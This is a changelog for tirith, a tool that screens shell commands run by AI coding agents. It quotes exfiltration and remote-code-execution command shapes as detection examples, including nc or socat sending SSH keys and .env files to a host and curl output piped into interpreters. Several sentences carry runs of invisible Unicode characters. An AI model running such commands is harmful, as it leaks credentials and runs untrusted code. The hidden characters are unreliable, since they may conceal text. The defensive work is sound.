tirith — The Cyber Toolchain

tirith v0.5.0

Mon, 02 Nov 2026 23:11:25 GMT

Tirith adds data exfiltration detections for netcat/socat/env-dump uploads, inline-exec detection for versioned interpreters, and a structured approval signal in check JSON o⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ • Adds detection for secret-file exfiltration over netcat and socat — `nc host 9000 < ~/.ssh/id_rsa`, `cat .env | socat TCP:host:9000 -`, TLS variants with `ncat --ssl` and `socat OPENSSL:`, and whole-environment dumps piped to an upload — as `data_exfiltration`, and detection of downloaded output used as program source via `python3 -c "$(curl …)"`, `node -e`, php `-r`/`-B`/`-R`/`-E`, `bash -c "$(curl …)"`, `eval "$(curl …)"`, `source <(curl …)` and `deno eval "$(curl …)"` as `interpreter_suspicious_inline_exec` in POSIX shells and fish.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ • Detect versioned interpreter names — `python3.12`, `pypy3`, `perl5.34`, `php8.2`, `ruby3.3`, `nodejs` and others — as pipe sinks and inline program targets, closing a gap where `curl … | python3.12` previously passed. • Detect `curl -d @/dev/stdin`, `-T /dev/stdin` and `wget --post-file=/dev/stdin` as reading standard input, so secret files piped into them also count as `data_exfiltration`. • Adds a boolean `requires_approval` field to `tirith check` JSON output (schema 3 and 4), with every agent adapter now denying a command marked `requires_approval: true` instead of just warning; adds `TIRITH_HOOK_WARN_ACTION`, settable to `allow`, `ask` or `deny`, to control warned commands in agent hooks, where `ask` surfaces an interactive prompt in Claude Code, VS Code, Copilot CLI and Cursor and denies with guidance elsewhere; and adds the policy setting `allow_bypass_env_noninteractive: true` to honor a `TIRITH=0` bypass in the zsh non-interactive guard. • `tirith trust add` now requires `--rule RULE` or `--all-rules` and writes grants to `trust-grants.json`; run `tirith trust migrate` to move existing `trust.json` entries into the new file. • `tirith setup --scope --force` rewrites installed agent adapters to enforce the new approval requirement, leaving `.tirith-backup-v2-*` recovery copies alongside the rewritten files. • Warn instead of block on plain LAN health checks such as `curl http://192.168.1.20:8080/health`. • Reduce agent false positives: `if`/`while` bracket conditions over substitutions, POSIX variable-named commands, `python3 -c` data pipelines, here-strings into `jq`, `xargs -I{}`, `{ …; }` groups, common `eval "$(…)"` shell-setup lines, function bodies with `${…}` expansions, large heredoc writes, `curl` to `localhost` with no proxy, `.app` and `.dev` TLDs, header expansions such as `-H "Authorization: Bearer $TOKEN"`, and wrapper spellings like `nice -n5` and `timeout -k1 5` now pass. Breaking changes: • Agent adapters installed by 0.4.x do not enforce the new approval requirement; re-run `tirith setup --scope --force` for every agent host and project after upgrading. • A command Tirith warns about no longer auto-approves in Claude Code and VS Code — it goes through their normal permission prompt instead. • An unrecognized `TIRITH_HOOK_WARN_ACTION` value now denies warned commands; the only valid values are `allow`, `ask` and `deny`. • Commands containing ESC sequences or bare carriage returns are now blocked as `ansi_escapes` / `control_chars`; integrations that pass ANSI colour codes inside commands must strip them first. • Re-run `tirith setup --scope --force --install-zshenv` to update the `~/.zshenv` guard; `--force` alone and `tirith doctor --fix` leave the 0.4.x guard in place. • `tirith check --json` now prints a normal verdict (`action: "allow"`, `bypass_honored: true`, `requires_approval: false`, exit 0) for an honored `TIRITH=0` bypass instead of no output. • `tirith check` rejects unknown options before the command separator and exits 2; 0.4.2 analyzed an unknown flag as the first command word. • The `package_lookup_incomplete` finding replaces `analysis_incomplete` for live OSV.dev and deps.dev lookups that could not finish; policies that handle `pip install` or `npm install` warnings by adjusting `analysis_incomplete` must be updated to name `package_lookup_incomplete`. • IaC auto-approve detection now checks every command on a line, so `cd infra; terraform apply -auto-approve` now warns (`iac_apply_auto_approve`, exit 2) and `cd infra; terraform apply` now blocks when `iac_require_plan_before_apply: true`. • `tirith trust add` now requires `--rule RULE` or `--all-rules`; migrated `trust.json` entries written to `trust-grants.json` stop applying if you downgrade to 0.4.x. • `tirith pkg install` and `tirith pkg approve` now refuse on every host; use `tirith install --no-exec` to analyze an install instead. • The `tirith-core` library API removes the pip resolve, quarantine, firewall and approval pipeline and several receipt writers; `AnalysisContext`, `Policy` and `output::JsonOutput` gained fields. Full history on Cyber Toolchain: https://cybertoolchain.io/tools/tirith

tirith v0.4.0

Tue, 25 Aug 2026 19:06:30 GMT

Tirith 0.4.0 adds a Python package firewall, Web3 command gating, browser extension auditing, threat intelligence v2, and 9 new AI-agent host integrations.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ • Adds `tirith package inspect` to analyze wheel files, sets of wheels, or installed environments without downloading them, using a bounded streaming wheel reader that rejects traversal, collisions, encrypted entries, conflicting metadata, CRC failures, decompression abuse, and ambiguous identities.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ • Adds `tirith pkg approve` and `tirith pkg install` to bind resolution, exact artifact hashes, inspection results, approval state, contained execution, environment verification, and a tamper-evident receipt. • Adds `tirith pkg graph`, `diff`, `attest`, `attest-npm`, `verify-env`, and `receipt` subcommands exposing ownership, execution, release-delta, provenance, integrity, and evidence workflows. • Adds `tirith pkg attest-npm` to bind npm's own signature/provenance report to the exact lockfile and installed inventory. • Adds `tirith capsule run --preset untrusted-project` to copy an untrusted project into a held ephemeral directory and execute an exact argv under fail-closed containment on x86_64 Linux with a usable Landlock ABI; all other platforms refuse before copy or spawn. • Adds `tirith task check` and the preview-gated `tirith_check_task` MCP tool (requires `TIRITH_MCP_PREVIEW=1`) to diagnostically assess untrusted task envelopes without executing anything. • Adds `tirith browser audit` for a one-shot, read-only integrity audit of Chrome, Chromium, Brave, and Edge extension source trees with signed baselines and typed drift. • Adds `web3_guard` policy section to classify network and signer policy, covering state changes, signer risk, and network-policy violations for Cast, Forge, Hardhat, Solana, and Anchor operations without reading chain state or simulating a transaction. • Adds command-card schema 2 to bind ordered Web3 operations, network identity, signer kind, artifact hashes, and policy identity while keeping schema-1 signing bytes compatible. • Upgrades threat intelligence to a signed v2 database that adds artifact SHA-256, installed-file hash, malicious-URL, campaign, and behavior-tag indices to package, domain, and IP reputation, with monotonic sequence checks to prevent rollback. • Expands `tirith setup` to support 19 named AI-agent hosts, adding Grok Build, OMP, OpenCode, Vercel Labs fx, Prime Agent, Cline, Roo Code, Continue, and OpenHands alongside previously supported hosts. • Adds blocking pre-execution hooks for Prime Agent, OMP, Cline, and OpenHands where the host exposes one; Cline receives the platform-native `PreToolUse` wrapper on POSIX and `PreToolUse.ps1` on Windows. • Adds Prime Agent IPython guard that extracts shell escapes, shell magics, and common Python process-spawn forms before delegating to the Tirith engine; unrecognised execution forms fail closed by default. • Adds MCP configuration locking that binds source path, server identity, transport, descriptor set, declared tools, and code/config drift without persisting raw environment values or URL credentials. • Adds MCP tool and resource output sanitization by default using bounded structured traversal, leaf preservation, cross-leaf detection, strict blob decoding, MIME checks, URI rules, and explicit incomplete-analysis failures. • Adds byte-classified file analysis that classifies files by magic bytes read through a retained no-follow handle rather than by name or suffix, with explicit routing for misnamed, extensionless, malformed, polyglot, archive, native, and unknown binary content. • Adds global finding and output budgets that preserve Critical, High, and `analysis_incomplete` evidence ahead of lower-value output. • Adds CI-focused directory scans that correlate fork-reachable artifact producers with privileged `workflow_run` consumers and execution, PATH, publish, or deployment sinks. • Adds structural GitHub Actions rules covering mutable action references, privileged trigger hazards, and expression-to-shell injection. • Expands detections to include reverse-shell and suspicious inline-interpreter command shapes, OpenAI/Hugging Face/PyPI/PGP credential patterns, hidden PDF instructions, wallet and sensitive-asset exfiltration through promoted operands (`xargs`, `find -exec`, `parallel`), compressors, encoders, and staged encryption output. • Adds ELF, Mach-O, and PE triage to find native extensions in Python wheels and correlate native imports, runtime launches, loaders, and payloads across distribution boundaries. • Adds Wheel RECORD and installed-environment RECORD verification to detect missing, modified, unowned, or multiply owned files. • Models Python startup execution through `.pth`, `.start`, `sitecustomize`, and `usercustomize` as an execution chain rather than ordinary data. Breaking changes: • Checkpoints created by older builds under `/tmp/tirith/checkpoints` are not migrated automatically — inspect and remove that directory manually; 0.4.0 uses private per-user state. • Existing MCP privacy lockfiles require an explicit re-lock when the documented schema migration says so; generated wrappers must be regenerated via `tirith setup --update-configs` so they contain the current validated absolute interpreter and Tirith paths. • An old client must not be pointed directly at a v2 ThreatDB data file; ThreatDB v1 remains available during the v2 cutover. Full history on Cyber Toolchain: https://cybertoolchain.io/tools/tirith

tirith v0.2.10

Wed, 25 Mar 2026 17:33:13 GMT

Adds credential leak detection and TeamPCP behavior detection rules • `TeamPCP behavior detection rules` are now included to detect specific behavioral patterns. Full history on Cyber Toolchain: https://cybertoolchain.io/tools/tirith

tirith v0.2.5

Thu, 05 Mar 2026 17:27:45 GMT

Adds remediation hints in getvet.sh and hardens interpreter detection • interpreter detection logic is hardened for greater reliability Full history on Cyber Toolchain: https://cybertoolchain.io/tools/tirith

tirith v0.2.0

Wed, 25 Feb 2026 05:11:12 GMT

Adds MCP server, environment variable/network detection, Pro-tier enrichment, and Ed25519 license verification • `MCP` server with JSON-RPC lifecycle, gateway, and cloaking detection • `environment variable` and `network destination` detection capabilities • Pro-tier `enrichment pipeline` and `verdict extensions` • Ed25519 signed `license verification` with key rotation and CI guard Full history on Cyber Toolchain: https://cybertoolchain.io/tools/tirith